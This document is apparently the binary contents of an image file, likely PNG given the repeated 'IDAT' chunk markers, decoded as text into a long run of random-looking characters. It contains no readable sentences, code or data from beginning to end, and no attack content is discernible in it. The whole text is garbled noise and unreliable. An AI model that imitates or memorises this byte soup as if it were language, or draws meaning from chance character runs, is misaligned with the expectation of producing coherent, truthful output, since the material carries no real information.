#2|WL=v|\f8 $4Ix 0X&ȳ#e'H6λ;X4ي)CCHK %9J|B_I"}rtǩŕTPYLnǯ[|WqQ@5+re92 5QXѼ0#;6.?ɛ$o~?e0Y/dh%2_Q˜9->7J@KI-H ]&gu ֟ͱa-Y >< طQf% RjQqpΌQp=U֭Äig3qv8p.aK>ʪRwSgT"ixo(]EɉG͙S i/Ǚos[]њc)  -Yn*<&s${z3ChzY*1b)j3V=$䝬]Ơk7FFK>M X~s)2) jk3kjL|Λ?'R`R>^Ck5#YJ'RbeA$fID)|"[y3$7N*Ct1k59IceIrCm:6;Hf(`^-`q+^Qn|HܐHe'iGà 1'[yBs.r{\c6Yt|%^V88Oʚf`v(H]KQ [<VOE_ ӓxPw-HH]rXJ* "F &|NϿO{d0 l?D$bO54@ք O_dy2>ŘHyi= 9@BuCyajOSb4zz@$r/}& :14giRygW ɬ"Fo@wfapBxÕ$,PPCž :`ha S!h,dppA ,48Ck3ZNN4  !&WU47$@ JZ\ƒ 0%Ҫu w uPW$ֶV#[uGcm(_Bbt0I @ C/ixȭG a !Yh*MOtdJP@_8*6@>=y1=`h*ᔄ'J7ITBca^RnHBЭHpe^ +J0\mF2'[ceS$Oj,f0H%1jdC C. GB~zBl˜n(`xk USX axF!-4chu Cr;;Yt '( B590$J6 1C hz|@Bm\M(1f i56] (!h1jdʆa2zȎj03 Za5%C$ys$BВdB|v]d(/)e\c:`e}IY 3ɶ*(rL_]LS@¨|$A?> OΞ8InL!`A 0<7 ) {OB;g8n+!h14^{Y2k:n==b0djE 1 e֛HVã> !h,;Ɋ*Y+Z-cջLiu@Bj'6 ØV(HHW1-Y1k;Yq|m E2H^EN!:^ݠp* [5N(׭Bf á@9CEӝldf,++g.>Q0?Ic[[LOBXTys3B|oB~0~M2nמLdB>;OnFM $4w= !j3VmxO}kB:)+ܔL, C,@4yjfWsi@BåG/ !3PYhRLOBApg !_a0|zrFGA H,C1}v Q0$nn|Fl_u@.]"[k}k!Uc>C@$SH>MG+Jco|bP~7(&͋dtz0|ޓdi}|kZ~_>Z6E;u!Z%6\gpķ g#sReQ,Uͻm~f45|~nٰ6 ɣӱdٓakEB[,,J^utlpkE ӬcE5+wjըv ==1pI3gP 0!{f/yտ6u ZS94J<3CvI}7v; *bb FJ䁄 S[8졘mDD"aLZ1t%_ua6愈w-0I [g 5r-, KdC9 ;8۴yl}|zBB?dP6=aÓ@XPȪͫ{l[,nE` N0tqazwnp/AJU=dtŚfRg0唦-Lbwz&P0=YI'V톡Hn!#0_sgq L9vP NqeY8z 4<(/ Czlz^m UƐb)ߪg6LyP$˔nCә䈜OO1|pW6 е9Ϟg&ep8,\iR}g ♛tgBÊz 1& 592 gD~^(b05îgbVۢ~tITy[ \C i5k5سw#a'ɥH.3nzœa,Yjvj,XXc 5o_H\ +U q&5$N[(׺wnzDaɍ S {kεc늖rp$!l8ؽ}Kx&I"1Y8weS$71H.a60U,\oajk~̧,'r[H/,v"YU( 'lu CFC$NhΞtKn$lamogv}XMtA)鱓]@~(|afVp+5͔Oo Ipܥզ䰅e ۩@Ȋq'l0qڷ.D<۬Y#4 5,W Y`aCOn+x (tzg @v8»; B 1䗮u0Q:9vk8-jjFfcDY=jgxxkm^2=ɱh yi4,kv-aB%Cqg&+%jap+Rc{QQгC2 ULN 堖l̜n abܕ(# 'e5Y5 ҠZ xA=EF+jԿ$:t,wv<2TJ.t%ٻָ,Z"JH$7(IM!V&i յ *Bϸ!]m/ꮒǽɪrjip9v֭{E%,][BFɵHp j'ErfOPL/ O> Ci+Z˻K⽆Gɝ]nVH.|y҆ARZPۇ<=thH:#:.$#Pݞxd[X ^skԵtjk`̬PHæIKWSvk$%SL+ y$U/U3Pap0TOO:mz2|Z3)ٵd͒+4~ilQ2eO,05ߒ I2h'pZ4 Oa+6+/wɲcO$]lPcBm u]8B6=d@Yp~NbgCBa_~ydǒ'n\J̀R{5Cv(`V3a <蕅 gćEQxinOƄ׭]HH(\x( Ş\ybh7GCL ;^ȀzŅB\~Sz wv.KBYT^$kP5Pèc oċ3 r! C.ъa0T! [8KױPl.|sB[ eb2TJg' p u!k|'eiS_U\xI\H q-ۥ ;,,X& -i3P_' 8p>_YPpaO {2$.$,afȲQhN%B35%O'xѕ!:Jn](Ň.c;:.ƥƻ;3lQkʴ]ʱoB `P9e~2ʇHY/OPgW}J xy;Mgk^5H: LÔ!5A.%R 8^%d.*ókN ; * [Wb"Bk9O/_( mK׀67"Ά Gy>d@Ir Vr~-]&yHW(= D%yq06u iyxa)óSz \id60Jpة#d2 j͝Ň_t;:=0 :\gB W@H*1zS̍g پaAUǐ%s"[5Mz+F`ͤ+d1ʐ@HDžt N*1ip(/6iUk۶Jּc$c*,XIBHxF۽'tu C{ϐfd(S0Ļ5Nv(`6ƅrðq(!'{Y8E:F^L\L ܝ $%õy`ܫდ^2n|k5o|%RbZb%'{ІӓQr }{"î=q%k.[MXUFr枈Bٜ$G{#_r.,+ýT὚E:'DdyC-6`A=TƂd[?J.C@j $0+piv ;2ܶ][4' CµArgKyl6 >څY$a1J ,x 4:Q evjwEp=it{b陋d!Z2yiѸipGM‚CL/B 2H28׷NNwlKD{laXtP0YIFKW1W# %' L֒ eHpʒw[[ڰQ- e}ڴ{I]MbϫT#-y [(6rV&wzeh6cvS5ڹ C6*N E tPچCPߚ[yrO1RI Q6QKu40p6 6lT qk=< kp5RruGv{' fH>n K{6l2,C\KZАHP)zƭ{'r{ IDAT/YjɶğCV]$k>F _`ÓdnW#\%ldaϼ$] 1䚐$tTeH)jhڂᎎ{{VڨqwAFQf! Ma-)4WJ2ׄjz-]i7:c<5M5S*׆+6XF A L x{w" $ e0%gHHb4TgU6Jp <#A3bS J.{J@¼1yG|BьpvP[ꄡϔ y_=Qv9:aR_iכ  7ll2a)9H`_qHDB c*xB8#fƥa<% mdUvL')tJagC0gF^=i9y.5Z8 ZUHI#̔cPoɔd͗wEEØPpS7ѠN0̎[Oy& / ~麮|*?mm! o#c̋V)2 ׄ}%%;;% rFт G'|VzD;$AQ=4$<@C4tjlW* :d5CD0ƌ7uaۚ+Cዜ#gw''wy~F׿2V6SƱAò j[X,@XcEAJA}lV61gD2Ln/gQdP6$ 2CHH8C]XTv2]%_I0d-V/cqϼ–UeiA%y/% _Βێn[00Q` c(}l$4DQm% E_U CwC !FQce@5$:}n k_tf&|ʒdv ɧb%u7u Öj%j%(# Yæ ,`ovxodpN(KbhH]pa+D*&s(^{aLa LD{nJWIj>'%Þ}dޭѬ>ٕdq/a褔aS1iq0 ݢ-{]0{ѸloIr'ClfEAC &G(b~7'04KוG(aaQlٹqqdR&'EV5ʡdf(&aF[s6.-ƭK]0QzDa&ˋ|07}ze-H bȓ_IbuqŜ:ĩXsaxsQO-!OS%^~N   S' u#7MFnƂΦ扅,c5GV!9OW`B"dV$?x#yvq^Y7kWM#F)֕ؿzuޙ;4B/}9=Ѕ8.J>d*ea!oj4(3l3W'׍! )ðKר {+zQ/bXg[ -cr ' ٹ]9 Ć˲U5\\UuX\!Feۧ (Cm`D*/?,Ӊݗ _C׭d:{{~B-b9ד,L,,]ijrvunaB,`1̈1$fa BP[A!\}`!jCl,s]B>gCSn!G0:oՏlw9ްOmE4aXga>[z|l#aYsa誓c_EriĽiH _ º C`!ىZvVpB3 }L@.N,;II/G>؍3`4\^M 7t*h +"j|PDu$$.@9w\BQݓ揤5a{X0Ýs uMgϐ 8 E,RRMã\SW0UU(VIܑ2&4yఢFo"gjBb 1f߁x+;Z:p-]՝D?aL̘WOLOlErl/D΃f-e(C' g A_MfݓHPp=-$ [Eqյ:* 섍. t0$e{po@KD]8,a50% E**YRaKhvx A!0|( MehԬ]Yȣc.cNZ$"dnrJy4羒I1 +ìײs6 ]}5j\0,bjzh4y)٨qFCtdry9\N&oA [)E%(4c(CGPjd|uu=LƆ`%D( ;篴^ CM Za5'ћ'fVMB ۠Ygh˜Z6<ɽ$w S>W5(}H*D?qYh!M$V8Ұle}Go[2 #' 'VuaՁ+BjZBNcda1R#P͋'Hte G[/كddṻB|NtËդ0|p&l'rx fPuk^`hɤ UlL9De:Ґd?0?T3^N fɲXޟ8ʰG Ղy9٫H"@[ Y5rDqyo9 ZZٍ8 8,^$0|Pob]K`iw1ȁT'c w079=}λ7;_~WzB$RI@nr3:0Y:G0 ;h3 {kJ J$OCK 렫+JujzR ͘X\8J14bWѨl0.vOa_S00LaBkp8;P?+tN[XNTu<;WR0~@Ǘ]a C9?{HE׍Ӱ֤|1Ȁ.@ z &BX ޫzU*]hQ8}=kQ|-"'l2=fƁeg֒>DSpV$x񧍆9ANz02[YVD|z!-φAZ'ˁZ"uۯl+ R sYJc, er\f$B#pH=`_o\@8alZT *%vzmCf3l*)@ 4`Xdx\tԬCXC0%E?UC'kkRԿ=C6>=<['"T'a/+~[F^ m[MH׼»߇7n*c #ZjW|{'_Ty+D.CFޅ,ϫoFR1BDA$FC848-C.$-_L-)֒{= Sa5TɎ%w ĭ%bS2.3D"Lx:Rrr⩑Ezybtymb QGTBG G<_h_9,ݟH.(yh`hjZƄ2c$db,YOׁ6x ?E1C*Z]< [DP4 eEMwݴpM Յƺmݝt#(9P>\5rЉ10CsRbo;=?k<'~E!gVgtB_WuԊ@̇M86YZ`KLpaHstp68;wvje, fS7;0R C1'S #+D-EܳLf3&: dE2v1a#ELrxzX|g2Cg'^Me#&j!c IDAT4 rxփ@ HJlH[ҜX ɬ/hA/7xR0p J5E%@FK d!afz:X~w4L9H836 kM@4¢0łp˼-'~aʞsK&{S {sIo|\ ?qrkƇq/-DIcX͊W!pR hRLW͢_.˞ M]@NiLC4 4iy"fto/=,O3Ӛ`Ѳl "??ÒW2`cɌmDh_APZ z-x"2YL8x^e r0jEdhP^{Մ?Sm#=IX[AUZ ē"=V%_M4)YQ(|aR~`ܷ b2#| b p8Xhع"& }'&VftMh~rso /9&$4$dxe׵ry䐲I[ ?˼间dbd%1\@esCx6ȄxutLp2x2oqʎ4T٢Q 5ԔK%ԣ 9;!M5{n|fv9Ev1i'1IHr8DU$4`(G=MaX gKOBB0,1/HAa7şt±MXHٕ{Z]\ :dcCԥv4[qssq~K%pK;,ˑT^3VM9p#ؐ]-IgVbOUo!7n M0IjPKi%yFU_%jmTޗ`G=^aAlidf;$NͲ[ \Ou3!!c'Yd;BC3Vufehd[ | ڠ ,cȘ$j<F1;2- jYPL^,<+S~4iuV ('_~&5B̵(6ܤ,j88ܦ'< ) 3zPNf'12ɢ!7-L` U{i1: C{!$Ia+{efWxC1ɨyСи WD0Q:8чÎxۇ( k̺=& )|ٳqzc8drрYӮu.,6pt³ ]_AggrP}4 o\qY/ ro]R䭂tm^ccYҡz^\ZF@ѫ'V{-h0̋/{6Qj ʳ_j}΂-6;.5uE?>J4nJ սOy]ł OjdPJ,b\5/]?c@*Մ$&,D)a=υ P.? 62[Dk$bktI[U1z3߰f385hEyf@Mxh8aEviA(*< \4L{.u'/ŖkezCٟ!B|(Ⅱ4|{O^%?: 7j?ec 'Z@ÄX;7yXט Uߡg`x'P `<10D2l ETz5{ \\w=ņk"1뭐!oH7Iu20L[e칮ˤX쏎w9\u [<,G2pm |Vʽ=:q=Y1 Q6y 9J  nj(Y 5(g}ax~`I! %vTMZy"O؉MJ cj`H-why v-HhL\!mWuVq8nEaO j|h؂e%< dqd0\y\hzq{?qr / : sbCv[ g+ EɛnJ懒ѓ:s|,Qx(Ywe:åo=pH`Gv{kJ?L0G QڹRC즢*6̔+a\]D>t]kGY4ļaSL1CE@8&ʑz~ލKՃvi.uI8@[@6f$) 'uwu5 q6,_u%e%Zr2RWBf5pɡW-rp_qX"ѸeՅy붎v@eL6`gmL[`~AT@l;4P 8"bS .3#1m]huԄBz0y4[c|8^&ݒ<=&ID" OaJ(d@&,/f_{̽wf(?틎jT@|{~W>Ya)TyӉ7v8 u/PB]<7 ]&?774 xF&ak?%9Жdm:O\/2|ݓ: G;eP7oPa8Un"]GQ ࡘg!I>Қ5ͨqIJq{=@鄵yѺLk}uE >[CyR.a 9wYub]4u5 PaعqήV`ph iJ:C=:'@Ì{B]3c5Qî5Z3C L|ze<]"kd߿P҆©FKFsP_>y-=CP%/ @+2ٝPST )ME>4&' 0PN_} i2QY(0|fהl?5dͧɮd=g0zsP6wJCl*g1:S.0P ]:!."# a x'žڐ_U߲mUu6xWcI qh8JB_B!X(zoZ/-%"~|8w) Dȸo-T.ᬭ&b[3[oV;9|ٖ wO~*p)f$ ;)}; 6cGӈ!0mdb(6;r_1`J(X*:Dk >~9X~ KQ]W+2s@ Cܢ<L`>:pq}voT/Z-]jU1TɓeC|Eb; wAv{?ޓ(ёɚ4TC\]?Oq56 3rO\OT C1X|8_% 7ć랬hGn \ 5* =~nuev7PX-0 >Lg;a{@`nJ찝.Bkll![lyX[} HxhW _q IDAT;vwQ`u2Tqﰣ|yY>j; ;T;hCo^'5|̢Vrw (kLGð*PlFhMEtX,2  3;k׺0K!)3Ȉ ӣ^NbIaYE,xHVjT2:/' ߄RO0nVوD!aީt|п:S)~R7:aRJ"9w)/Zۄ!3a\Mr00(a=HB(#Fg21 ٴai4U!= x0&ԬD2ڨ&1Z}O@uWVw٦gS*Ԅ5 AB} FC6rH2d;&ZvMmnWܪBry>d e) d=1Ta_MmÒ]DcicǓo==(î b2i{ .]:!wne6dIMFliݓgY~de{kU]?Uc̘mwk0kExLxbhdzBI, e$ CB X{g4F"uLኡ+jVDCDٵDe"q{m"̎Z.z󼯿6mtUԢts@=P i;c&#@϶QtCة1  +ܗ.ߩX8X;۸jdz.Y3veEu|ƞPN׋6 w g~Os{=pV2M6'iQEQVzPyNrUOXB UօC!BȐBBz<=^`qb0k`+@[{!z80VWôu#_O'З^U-8|71:ۋ^50zwXxL|x(`ӓ$o)F=Û_%KQ| er'k8ͳ[)Bvi ocӺ *X81ºd!LFnA OF]m5O5M]Mѩb4!Cx瘎)ӟD [4L9ؤ?CPs׵\~8ے4(:g(ц)ew1ؓ2箇=IoжmB!Ul ê; @?sP7.D~2}"kPU[OA`iڞk/L7,KgPl4.nV[Ҹ!!b4AP^Q^TdU0 {ܾI=]/$Ky`Vݏ"`t"5 o0R&`؆<4TdT'Ef^7ͦsI&$ mQ]{`aYXc( T"@ƒ;I*:k{>?=Puj/ҧaGvb](V*Ynjؓ! BQ.+W\6qLRrʥa[v YF& Dܗ"9>ݞl2O bJ|Irq =/ N(/ y׼nEÖܶihl`m0txFPgIcz*=I*䓭T ^'៾B ^ɔ^_ 0OMf98<%r܉0vY/yeBxBF5T2 ,m1I>*_ӧt󶪪}ÜN;0u {T*F !g;84`]dWh"OW1C'pDäP"bάȰ|zY'óI^=1 0OHԀzh(1Y6X5fpi0=VB nW[0P\*0·'|uYH|CUݶg;zpc,ćZ՞3M\Xk49jA6?e،*NpHW<>yu)zmLRr >'}TttͲP$og+=4$ [/+*nFaxcW| !X6 |p'ƂlV^XFksQJ;pv; c^ yr9 ;50 U _' O=Rt0 C~(SR -bclT?.l6 cԱ]/ q)?^Fht}q}(k;e 4gА%=iXȂeCz+q!7||dArM* ( :TawU2NT̏L‘)ǘBry *NDpr%$!ɪXA;1CGʜ¬Y_CY'`!p?Ɠ(lQzQX>߸8L0܄|On';śITs25*{0Lp ÛBHPKW&Y\ Dq3hߙ±:7HY}@#`xPhgX?MCLP(ݱvӷ wwԤapf1C(j3QSdb%w>_8Eaq߸,SLUiǚl8faf+ٷ^ҙkyoa) wKa~u5Q`P֢\P+Ɋ _Fɭ7"$5Fhzqp F0`JS8_fHPn&]I&,9ew]I0Y6?\Z>28iʷ !ɅAVA^o6_ӓ  Eғm?=ó &wgULۿovL5Iw」hHO/(H Ol6*YEFش gmya^Ld< Nd,`~  H3tUz飦'CPYdڳLS`y+./-KeJ`ʝC 6.Ë ٜ;۟D,cڭV²a k6!i*mH|hj "U6jf7;{o U[.l[u1?s9#gtPzopH[1v(j|j8ww;L~agØ-Si+[>puM^hmq3"+2HASXȊܓWi5r#YNi_Ʃ&=ҰA2&ARdhu܌Ԡcf\y!(;0^8P)]-ʈBYB5sFxO|0< N:p'-+]: Byy1zoTP [NaYI;pƆa7( 4@|[0xh+ D4$[&OP#cm˱:72DcWiUڰA!('´! 2fܢdA. :_e0\3/CiA^^/G0i;Y4OrxKzN tTx,ͯ4+q&0 }7#C@ &U\FJyP<,rgF%4X(47& D@w뿇5`x$g5 `"7- 5wB-d 8m+^\veax#0d(X'bQb0] ]xTS<3^ Er&cYC0|n0b V(oÜہdWE %CwԽb=80 M,nGWB]TV֒߳W }A_'A1?s؈ɘZ "1b4<}WKpL\Jz* O]?-Z:!Ɩ d/۸6^rXO(rUO0]e E*+pQ H,}Od$ٹj PCAYGy_(ppn=Ae=N$Dg3)Pi)}S-O \f!R %#C,vEOkaUX Ak j]2#rC\Ca0@"+1p&fF BV'3 nP܀RdԁhץUͧemh0{ o0Ն'aDoV#ja>6jlp4d@rƅ#`Yf0d°A'I0ehJlB"Xװ2vP0d'ϔ@Y[t e5ҩAvz k9n$㳀0BPx>]ȵ߰Qeᰔ؋􅡈')C9Ӆ03xǎW'LJ=oNS/,?aJ(606o#S_b@ftfh!]8g}L!xMᯙo@84,TL hՂC'0& :|Y\brr}L֏˃xdBG,`88Hy4/T- 5GW Y>3h{JpnD{W < N,^b\  [Y'EɜgpJaޓLh'> Ki+0,l}'Z;AC. msuJ2H)FP-2U\!*WOO?7uP. d2Q(Ew=f$7XS3/' L4y )C@Cܕ|j ʔ+}Pty#RrɃ㞈W+ }Ҏޗ@g<8W`X~޴ =Gbېaȇ [27bo aʧ=& ue<UwxG9C CXOƄ<2ЂyFC86^ͳm'\qlkqZIDQ.Y0Sn΢H&~,Bp^ Nc:LǬF A_W?G~( +j*z\ = C×+Ӯ+_KԖW0g…=jݻQm{k\džZ'd"fޗAf`GB! +B (*s':+ y8XC@tjZLx58C0mvxaӇy$ݩ!7iX43^wDڼ*'^Wfñav&E Þ< Iѕa8hpGcOƥ'AUk#~&6ce,%{_*}OL}8Ht#wS>p7 S*u I$4OT kho 3q[f  VJ>4 HIKx}!(4d0ǂ= az A$Z{ ÇJ6۵Nmk!]u3ȝn33801"#Pwo $'ũ36ÐWn4fabqm}ZfdPg8ybLmXy,L$R۽^C dC$naF-Q4ǿsmCLt MO @6% Y|"&C. !aaxĔd!p{Bqj֣-o,{ݩI,1Cc ,)Hqy$︤l`88|3"J@7Ptf(cj96&cOY׍~NCγ3m&]*0D",{+W {Tkz@?qHi]8`׽v77tP:5ݏVx@OkH5蔐L!uf?67 vW <]vؼtP,a.g{Y6LO!*8+)129n ? A3#PP +bN[V~uj[=#&饲wpLjzR`Yݏ3P%;h RzIxZɱ'gbCN a2K C0= RwnidIWN32a{#bLs t NF0;ODڿzOչ9ݍiE?}u+tS 0,)!+mɴt'YP,1iwȅuΕA /<ś\PW3G!Tޙwܧ*q7ձk_}L myx}MY8]009( I̝2eJB#]*2<DmF6jx6b1 ]})0=#S7zmi}%3)Ԭ!<$LKSBLv ;h6Y{;ړɬ/{~D}k H~3l^hP2[  pm0x5\]qL8ݭw C{[+=^5y(|8La Q8 , Q9xu!\t|9ڱ.0$]q0?rPm5FDio<! "0׭z]24& ѥᐕ^~O ѐ߂JDpQ(D:0}o력aIêiHmլ!5Y5iXqr*&gNs(uqsCKçʏp5qxVnE=(5>ĿxtJޖg:y{ ^Ѵeݵe(a I!F'0l*J-J/ ݦu3(X/PSn o( W_jmJC&5'a̢YW!"+dņJp m4#0.M3>YvּCwMaBr‹tAG2wLƨq (C:rd7!(Xa%ӛ1Z*–Q(Odž0aa8LlyOupwYh-Zvֶ0\oqk?^F.b>KTp*&/u C%tH,!0Jvb m+iq``80[_& BPeH)4Ýp2 (yY[B8+fu #>1Jj`؂ zhi`՟,Q9t !ѠYV5H3jU"d q|2&hsfJc ^Ya˼1/,顶˫$(/"qd!^;^/W_p9 n̟%30|ßi_2SդJ3%лzh9M\0,yP`#aH!QF 0mB CL.O*D1N*0ɺ* 8NưzFa8 Czddhv f1$FQxh2сrj HC!^cIHi8b0  RdT:griPW9Nz>SL]0t8 v֋H>Km0^O0+c`jҨ9gg=|nBl'Jg4(l'gl}A>Q0F>G!°]oX [Ix{| 1gb&3Xφ 0d0|PSm yjg3ԄhA \%aqY(r60ߎ1uu,hvem'Sm؈Q]nB ">ѱrge9 syN=Ɋ;nA)7[^9w$?ԄC*rMZ@^azNӾ`(ĩeQ,kN/D@9V.l" ϑD{hGCs*N( mMW*\(JɌ:OOT'BMN>B^9p:gY)j!,a`W[0m6CE*hD]+)jhX@cxq)CA@@(~6)J~e*0=[lz ]8aA}y[J:y{a1a ~ 'd3`xR Ie3WJwqsyiMBqsHes#Haq06#!FfΓEZ3˲i`ghI!K|+4NB\,[ !!2HlkeuJ2Ca'V|&1iC *W:P7ֱ2NAuQ B0S'63/ࣼf%vŶf(BMɻr9*㻆%_d1XO5 (7 ٵ>V#] 7C(Id߽"<9ތ0`&cva:3Zǁt, (,-yA;Z-`U-v6XI\P:VZB, 6&,WaױRb%#,"ܠ+"U:_oJh0Tׯ$$ʮ+,xu Õߣ9bc-W:XHV|@MҢ̻0 +՛FnmuΪ[5g?Y0~Fݘ0e0<9ه<|H;ab)sn:a]2)Ly: 6 h@1|ٛF0Tp] ]8 }h-8\ð,"@-gQ5:) k[Qh zF Dž>XF5=d;&Nl.oC~< ~ז;0zI U2؀[*0 yLJqKw9⧕B/C)&Wti;هώEހHFm:ר#ܲzЀEF8E ꬓv1Hbar6# IKA$ ,UfEIhd" d5͚W B}XTJL CyVmCY'$$ʮl*[;j _(n/LrO{o/=Y )[ޱB(Jy R8( ҷэ3 K y_~<{*$N;DufOk=IvJNH?@/b-Cu`Ä́]r1)٬<3 `j|FE<ɯvMf]4¿zG8.َ!EOa9)< +DBn# j,5[ LCHâcc7e,UGTǬ y(}"a_Rv #k|^:,~qfixמN1rЧftud!iapT ѢY`a{r$]On") C)$˴8 }]nw0kI~E }P$\2_JOLo `vnFnph\ J|0:Q r>A /,Z'1x~Bְ&9G FNhx^cb= " QR6(n ](:x7@ DdXm؝7ڇ؇_q>ayzcc`'x7 ~mĭ[fO'0|>x Ea+E^zP Ư>3ŚRn}O;lVаƞ٣s!Yn 3u\pPɌ`U -3Q2Ұ bgt]ttʗ[*( mM6ߣ#C{ۣyŒKI{n%<憽@ug՛1•居x>l&5? (y0|y>|fv<0ʕboBPZZt'Ya Ý faFqpٓϩGV&lօ[-yb3hn/ ,j(netΛfH(IH<A qPÑ~צ#سGC)jхFٱ1D`( }c(\;c8(v<_d\ a$`xȗٽ CM9ׅSJҮjZ"JF;?'eʴᨳp{ da'Z}C;o$?+CT CurWQFx>EU/ZkXxp>Be4.>as6 rӓFuE C=.DFH" s V[&)&Vq"!Tᚐ|\_)o;plJ<7:5ge5]5H35 =@Dv݉g>jtΗ? ?_zH~0U#)IáA0Ե.&ndX~yE2CY(3+'ϩZ0{( Dbv75vÍ#7uc˫  ,](C\p#h&үʰ}ݥsAJ3:םkGqDGpupgg4KELbFGZMYd'T<;*se sm_nnooE Nd<441gBZG׹:N*R.EC[ХPEɝf,b]XFt0teSoزT`(e%լ҆uxn}Zlf), L  G{LS﬷8F0“$]ѓDB8xOpXk-J0,c9@6 ~ h] eTICm,L\so߱3[))CL̃Gᄤ]7TDɬ W D*WvG\T6 cpxEpd2#o~25Cc8ꪙw$8{0Vr1z>uM(<(ʼn*0@Ƅ( 8JPTNa[ӲZU}S`ecv*pMhO?''NE  )"C(+ jRVE7vD XYWVU˵ "Zm}A=98FIP -ǏQoE6fl3l!tcX(t?%{j'­&8m18\!~RG|«JDzd b f5 0i#K8e1f03jK&3XiBc&n[v l``:/'yN:u>8vدx/8׋{H2J2~z^T'2Cf!k`Uą}&aKT*Nd$dK:JŮE;= M62|Yz._:QRM?i/"qmq`W*ʴ=ɷXb̐Y3ʳ5CF8\n Ȏ3ptSД lg]n{V}W`ȼ+L0Hʐ= m^! A15sn X[6[&IR6nü~ @,kHHUu ҎfΓMZ'Ƙ9Ƹ6nЕiu|,\l5/_.aO*dGP8xÑ $&DDy9ٽNǛVR_Z3Z r2[PC8>?M!ѥ2"Ž( jm"UjmJ*ImH,D\X]NzՖ%Rb&FJG4o irQ>9$ʑMދz% ]$U8wX'{=o>_]axƖk߲<p -Q-Օ,UKCH"8!zqCF“:ð%0 }ٔWΗJ<ʼGTnۀaxT#onh2p=AX= o54W;]}X(Rhd$ô0Q 3?cn2B͠ WsL*p Ç|օ$8Lġ94TSXxCg;Ew: ;'Qq5ˏ+;"v%!vUW.K &ӞKW_,[hC(V@CPrj%J0.6{m pRM"~@\`e88 G?OHC)0C*wOͪsloz*'/^.C?#8pF50 ͠`tNb:G"aj\Zʲ''0ܺ8e2OW\pj2#,}Wڐ_sNv |N,=(]D^׷xNpa(0M IDATCP"rJJ^0Jv u},Qhn5̼2Nռ1\/rctoc= Vf#%"f؍c׷~Ъˌ r\!`jZIh+FT<囑1 ?37Si( m^Ò%ĽN9kCUe3ɛJ], _Bz.cvoJfՅsfl4LNdNh0E^y=;'|绀y.Hp]jIŶ 5{Ůd*t߂Ce_Q'sa6yY8ZXd(DdH*TRk2R(,Lfa(. C^|2VcȅLYaeT o=p Ç C ci4NcN h,xoըqWqa+Vݷ$R4kسJ}W #Ai&\JjZ;8~:(LP C;J,(j(F&۸1T,|'k4 )e\o1fܤʤ:y `8p Å';B~ kiaqإyՂ,i C߹G۩GkSJ0mwA߃S|p-G PxPf諥%/w;.5V ÃergxWBNP?.$@ԆCN ߗV@vx0Den g=y(Ϙgpy^QN/0\iEށsnr#6ʖ`6A ]Z_?2]-^><:\݄`nUᩜW)0)8"vU}#+p ᠁iXPqA1!aJJV}-" 17J~<%ϐj}ڸVI`l5[Oi$/apc Gp8AlN\a"a}c}nTVwzm>da]+`,G~L(T&P]5=iW-SAٯw.8J;Y6$yP0Q!`{  TcQR2Z!l{O~Df\kCw|?bLMy={,a(0m.t֤rk&k̡gzl&˭ǿGqlU[ͣ#B`A~nmary}xRz@0)˪7ڡPq )v okf(0 %7tKd!BÙG~?>}{ vn g3p6F`L1 /4\KV3LM&CXC6-v= ^hVUŗ^1-@7J^1F3B!1za n %O%4D:erE' ߑ21ͤ8 LUr"ya`22><5ޘ9upQgctJNo&&p Tu\37#4k]Lg/8Xo?;QX 7*I鱰p ;rAx.0Ė޶<ΐ!T!|59i˪`.Z-|fV2ԸNsOI^(Ct~H9QR$@øИYcseN~61puٓ3;BITCOZ,?1 =U#[;턤ʥb\(:K9Í)! /x(L]ʥbkR'WEi'c(|mXKmWľɍ0W#p_X22]| OS&~swNwY|]լza?_*J|g]{q_>RNGŢK ?aGpG@kz}2dL &!H|`ZYkge2'ɖEN6a @j_vݬ!2 C.4 C!~ @%! oÿ) ffϮ;ߴ%JWn g6BnYR",ĉ0 OCRU*wf 6]-(1;g,;x;0,;r^qpNF!+t ]'ҧv^ot:_ht kFjv t1 1Y/qIxE"Pxa ?PBxDJ8sac? .Dexx}mԮcPU>j;#o9/ڜ_دR= &You|(KJ^å1 '\׌FjV1̥{ţZW Xav:0SxLY3I":̅RvgH0T2:хYuZA/ƃM8f *(%j5ȭv2'qt-# qÐk$ HGKd Id+*NFH~d\<[oBs aPn{"  rfDc9]dX!⬍|$Vp;XHʰ2O&D6JfN5Ze`DCJiX(U0 `W?EJw [}LOK2t4>S~ǎCxu9P]3Yx0CPzonT4e7GVDu%7aA_CnC? MC$";]Nq )Y2j.t:4 (a[LW t)}nJMp S䭱Em悩 'S/L6qƐIZbSͲhhrapi&(,Ė 00d]-JCpa0 B6EP:P5QWX\Eq̄spp34J:/:G0'M3ަ| jQi'J2:42 stiPH{n#(uB>̳|5KF9_]~sCAsQ|g(-%V234&&VSs'{&pn^,O(y[dȊmbR +{mYl=7 -kְb`&閭)4.Dhl{Y4_cMVšPaΉDD&[0259!dlOa R" )g(pIb܊.0tgUzn; Vn9 S0Q1a,;ٗAemMˇpWHUK;zL[g:t0gy/FPP:AhM]n&gOPQ9GGG:9JT3Kz]^:\\׀]eć7+啷gf2:gCaw~sP쪺}\\faabSdd/I[ &&RL`U" `a?l1Ŧp`R$/Ei0)`&pXòh<CAM0 &bS8|+\Zqк.6} saHc^J^u}|H{}Ie% OQ6[wDn8kv0F ­ܩBq}ضώ9{g=_xQݨ S*5r|^s^,Ve)_:  9&=3w彗3";Մ|x*7ռ~ahd0 KB `2R&r ́<.0hҁa%q2,OL0iye(.0$BMd9D·uaZ)nLk5u5PI2Ux%LU :gGV-}PmBrpG6:X1X,! PJ. g UϐÐPŋţF|+lrT >G+{Aix:Ye1d8D `%7W/w d( #lk'Gv ?bٍ\\N~XV)I:8 0s=@L߅=En3,knUע7y %Pѱ C[Q(C{~'nZT Sb+^ԆUf:ТQPZ$W`'yƽdtO8fbofwezlЎ7Y>D!h4Ry<52 `ސ%aHpd 7t I͢~fH6i%솪}E+ bUTPݥ| 0Pcն Ӧ9=sݟhH|dWmL`hc iKOBɾ\ Pݦո.}ve0+kjc0`h*8S9i-@Џ~kŒd&5^Qp"2,0^c` f(eiGsx 9㯇]M'urľF~z,5$na$rIRΔg9šib zb(zu9BҘŴbȭ%b|'E !J ^1u {47 HgB cB0=B#JnJB%% inJ)A.],;5ܾ}xNp-ӵk񮢃у7وsەl qJQN2l 7D D~? rޛh$~ ZU8X|0lAy <* h1y '5%q\&Z^+huGa%TdPR u߇ΰ F?:(Fo f.`>Jqxab!g;xzکVs\IW`X);_rw+aeCfh=?h,aaK fMzx̫9]6_$اgL,jo,C nqj$/Y1\AhD͸Ռ/I#LeS}i ~D֕_ZZZeu8Eߝ c^#Flzʲ)\fCp7۶ZJ4z˦L⍤WN #n'VP\ 'doH{M;9r 